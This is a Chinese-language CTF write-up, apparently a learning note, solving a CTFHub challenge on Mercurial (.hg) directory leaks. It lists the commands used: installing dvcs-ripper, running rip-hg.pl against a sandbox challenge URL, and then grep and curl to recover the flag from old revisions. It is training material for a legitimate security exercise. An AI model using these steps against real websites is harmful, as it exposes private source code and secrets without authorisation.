0x00 前言
CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。
0x01 题目描述
HG泄露:
当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。
网页显示内容
Flag 在服务端旧版本的源代码中, 不太好使的情况下, 试着手工解决。
0x02 解题过程
这题与之前的题目比较类似,同样使用 dvcs-ripper 工具下载泄露的网站目录,但是使用工具过程中出现了一些错误,导致网站源代码没有完整下载。正如网页显示内容中的提示所说,不好使的情况下,试着手工解决。那么此题目是让我们不要过度依赖工具的使用。使用 tree 命令列出下载到本地目录的所有文件。发现一个可疑的文本文件,查看文本文件发现历史记录中一个新增的 flag 文件。正则搜索相关文件发现可疑文本,使用 curl 命令检查发现此题flag。
Ⅰ根据题目描述,在CTFHub上下载关于HG泄露的漏洞利用工具
https://github.com/kost/dvcs-ripper
Ⅱ终端打开工具所在目录
cd /home/kali/桌面/dvcs-ripper-master/dvcs-ripper-master
Ⅲ安装工具所需依赖库
apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl
Ⅳ使用dvcs-ripper下载泄露的文件发现提示404报错和两处完成,可能是没有完整下载网站目录
./rip-hg.pl -u http://challenge-137f105811083a40.sandbox.ctfhub.com:10800/.hg
Ⅴ使用tree命令列出刚刚下载的.hg网站目录,发现可疑的文本文件
tree .hg
Ⅵ查看可疑的文本文件是否存在此题flag,发现历史版本add flag
cat .hg/last-message.txt
Ⅶ发现历史版本可以使用正则表达式进行关键字查找
grep -a -r flag
Ⅷ使用curl命令检查一下data数据中的文本文件,发现此题flag
curl http://challenge-137f105811083a40.sandbox.ctfhub.com:10800/flag_1682217975.txt
0x03 HG泄露漏洞
Mercurial 是一种轻量级分布式版本控制系统,采用 Python 语言实现,易于学习和使用,扩展性强。其是基于 GNU General Public License (GPL) 授权的开源项目。
在 Mercurial 轻量级分布式版本控制系统中,本地既可以当做版本库的服务端,也可以当做版本库的客户端。版本库与工作目录不同,版本库存放了所有版本,而工作目录只是因为特定需要存放特定版本。与 SVN 系统不同,SVN 的版本库集中在一台服务器中。这也导致很多初次使用 Mercurial 系统的工作者,因为操作失误导致出现 HG 泄露漏洞的主要原因。
0x04 参考文献
[1].百度百科. Mercurial[EB/OL]. [2022-10-17]. https://baike.baidu.com/item/Mercurial/6615059.
0x05 总结
文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。
版权归原作者 尼泊罗河伯 所有, 如有侵权,请联系我们删除。